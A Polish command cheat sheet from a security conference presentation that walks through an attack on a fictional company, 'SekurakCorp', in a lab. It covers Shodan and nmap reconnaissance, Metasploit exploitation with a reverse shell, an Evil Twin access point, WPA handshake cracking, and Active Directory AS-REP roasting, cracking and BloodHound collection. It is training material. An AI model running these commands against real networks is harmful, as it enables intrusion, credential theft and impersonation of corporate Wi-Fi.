# MSHP 2026 — polecenia z prezentacji

## Infrastruktura zewnętrzna

### Rozpoznanie

**Shodan: organizacja**

Wyszukuje hosty według nazwy organizacji.

```text
shodan search --fields ip_str,port,product 'org:"SekurakCorp"'
```

**Shodan: domena**

Wyszukuje usługi i nazwy hostów powiązane z domeną.

```text
shodan search --fields ip_str,port,product,hostnames 'domain:sekurakcorp.mshp'
```

**Wersja usługi HTTPS**

Sprawdza usługę i jej wersję na porcie 443.

```text
nmap -sV -p 443 <IP_CELU>
```

### Metasploit

**Uruchomienie Metasploit**

Otwiera konsolę bez banera startowego.

```text
msfconsole -q
```

**Wyszukanie i wybór modułu**

Wyszukuje moduły dla wskazanego oprogramowania. Wybierz wynik pasujący do produktu i wersji usługi, a następnie podaj jego numer w poleceniu use.

```text
search <NAZWA_OPROGRAMOWANIA>
use <NUMER_MODUŁU>
```

**Adres celu**

Ustawia adres hosta docelowego.

```text
set RHOSTS <IP_CELU>
```

**Adres nasłuchu**

Ustawia adres dla połączenia zwrotnego.

```text
set LHOST <IP_NASŁUCHU>
```

**Uruchomienie modułu**

Uruchamia wybrany moduł z ustawionymi opcjami.

```text
exploit
```

### Powłoka

**Powłoka systemowa**

Otwiera powłokę z sesji Meterpreter.

```text
shell
```

**Użytkownik i system**

Wyświetla bieżącego użytkownika, jego UID, GID i grupy oraz informacje o systemie.

```text
whoami
id
uname -a
```

### Skanowanie i OSINT

**Wszystkie porty TCP**

Sprawdza wszystkie porty TCP oraz wersje usług.

```text
nmap -sV -p- <publiczny IP lub podsieć>
```

**Pełny skan: przykład**

Przykład pełnego skanu z prezentacji.

```text
nmap -sV -p- 198.51.100.173
```

**Shodan: podsieć**

Ogranicza wyniki Shodan do wskazanej podsieci.

```text
net:<publiczna podsieć>
```

**Shodan: przykład podsieci**

Przykładowy filtr podsieci z prezentacji.

```text
net:198.51.100.160/27
```

## Wi-Fi

### Rozpoznanie

**Tryb monitora**

Włącza tryb monitora na wlan0 jako wlan0mon.

```text
airmon-ng start wlan0
```

**Skanowanie sieci**

Wyświetla pobliskie sieci i podłączonych klientów.

```text
airodump-ng wlan0mon
```

**Przechwycenie wybranej sieci**

Zapisuje ruch wskazanego BSSID na kanale 6.

```text
airodump-ng -c 6 --bssid 6C:63:F8:44:B8:D2 -w sekurakcorp-cap wlan0mon
```

**Analiza przechwycenia**

Otwiera przechwycony ruch w Wireshark.

```text
wireshark sekurakcorp-cap-01.cap
```

**Ramki Beacon**

Pokazuje ramki Beacon z informacją o SSID i zabezpieczeniach.

```text
wlan.fc.type_subtype == 0x08
```

### Evil Twin · WPA2

**hostapd.conf**

Konfiguracja fałszywego AP WPA2 z firmowym SSID.

```text
interface=wlan0

ssid=WiFi_SekurakCorp
hw_mode=g
channel=6

wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
auth_algs=1

wpa_passphrase=MSHP2026
```

**Wyłączenie interfejsu**

Wyłącza wlan1 przed zmianą trybu.

```text
ip link set wlan1 down
```

**Tryb monitora: wlan1**

Przełącza wlan1 w tryb monitora.

```text
iw dev wlan1 set type monitor
```

**Włączenie interfejsu**

Włącza wlan1 po zmianie trybu.

```text
ip link set wlan1 up
```

**Kanał nasłuchu**

Ustawia kanał 6 na interfejsie wlan1.

```text
iw dev wlan1 set channel 6
```

**Zapis ruchu**

Zapisuje pełne ramki z wlan1 do monitor.pcap.

```text
tcpdump -v -i wlan1 -s 0 -w monitor.pcap
```

**Uruchomienie AP**

Uruchamia punkt dostępowy według hostapd.conf.

```text
hostapd hostapd.conf
```

### Hash i słownik

**Konwersja przechwycenia**

Wyodrębnia hash WPA do formatu obsługiwanego przez hashcat.

```text
hcxpcapngtool -o hash monitor.pcap
```

**Zamknięcie sesji**

Kończy sesję na Kali i wraca do lokalnej powłoki.

```text
exit
```

**Pobranie hasha**

Kopiuje hash z Kali na komputer używany do łamania.

```text
scp root@kali.lab:~/hash .
```

**Podgląd słownika**

Wyświetla początek słownika rockyou.

```text
head rockyou
```

**Generowanie słowników**

Tworzy cztery warianty słownika z nazwą firmy, cyframi i opcjonalnym wykrzyknikiem.

```text
crunch 15 15 -t 'sekurakcorp%%%%' -o m1.txt
crunch 15 15 -t 'SekurakCorp%%%%' -o m2.txt
crunch 16 16 -t 'sekurakcorp%%%%!' -o m3.txt
crunch 16 16 -t 'SekurakCorp%%%%!' -o m4.txt
```

### Łamanie hasła

**Hashcat: WPA**

Sprawdza słownik dla hasha WPA w trybie 22000.

```text
hashcat -m 22000 hash wifi-wordlist.txt -o cracked.txt
```

## Infrastruktura wewnętrzna / Active Directory

### Rozpoznanie

**Adresy interfejsów**

Wyświetla interfejsy i adresy IP hosta.

```text
ip a
```

**Hosty i usługi SMB**

Rozpoznaje hosty Windows w podsieci i stan podpisywania SMB.

```text
nxc smb 10.10.50.0/24
```

**Anonimowa enumeracja kont**

Sprawdza możliwość wylistowania kont przez sesję SMB bez poświadczeń.

```text
nxc smb 10.10.50.10 -u '' -p '' --users
```

### Lista kont

**Pobranie SecLists**

Pobiera słowniki używane do przygotowania listy loginów.

```text
git clone -q --depth 1 https://github.com/danielmiessler/SecLists.git
```

**Słowniki loginów**

Wyświetla zawartość katalogu nazw użytkowników SecLists.

```text
ls -l SecLists/Usernames
```

**Propozycje loginów**

Generuje listę nazw kont usługowych i zapisuje ją do pliku.

```text
ollama run qwen3.5:122b --hidethinking "Podaj typowe loginy kont usługowych w środowisku Windows / Active Directory (MSSQL, WSUS, kopie zapasowe itp.). Tylko loginy, po jednym w wierszu." | tee llm-users.txt
```

**Przeniesienie listy kont**

Kopiuje listę loginów na hosta Kali jako users.txt.

```text
scp llm-users.txt kali@odswiezacz.lab:~/users.txt
```

**Podgląd listy kont**

Wyświetla pierwsze wiersze przygotowanej listy loginów.

```text
head users.txt
```

### AS-REP Roasting

**Pobranie hashy AS-REP**

Zapisuje hashe kont z wyłączoną preautentykacją Kerberos.

```text
nxc ldap 10.10.50.10 -u users.txt -p '' --asreproast asreproastable.txt
```

**Zamknięcie sesji SSH**

Zamyka zdalną powłokę i wraca do terminala lokalnego.

```text
exit
```

**Pobranie hashy na host lokalny**

Kopiuje plik AS-REP z hosta Kali na komputer z GPU.

```text
scp kali@odswiezacz.lab:~/asreproastable.txt .
```

**Łamanie hashy AS-REP**

Sprawdza hasła ze słownika rockyou w trybie 18200 i zapisuje wynik.

```text
hashcat -m 18200 asreproastable.txt rockyou -o svc_mssql.cracked.txt
```

**Powrót na Kali**

Otwiera połączenie SSH do hosta Kali.

```text
ssh kali@odswiezacz.lab
```

**Sprawdzenie poświadczeń**

Weryfikuje poświadczenia konta svc_mssql przez SMB.

```text
nxc smb 10.10.50.10 -u svc_mssql -p 'Password!'
```

### BloodHound

**Zebranie danych domeny**

Zbiera obiekty i relacje Active Directory dla BloodHound CE.

```text
bloodhound-ce-python -d sekurakcorp.ad -u svc_mssql -p 'Password!' -ns 10.10.50.10 -c All
```

**Kontrola plików BloodHound**

Sprawdza typ wyeksportowanych plików domeny.

```text
file sekurakcorp.ad*
```

**Pobranie plików BloodHound**

Kopiuje pliki JSON z Kali na host lokalny.

```text
scp kali@odswiezacz.lab:'~/sekurakcorp.ad_*.json' .
```
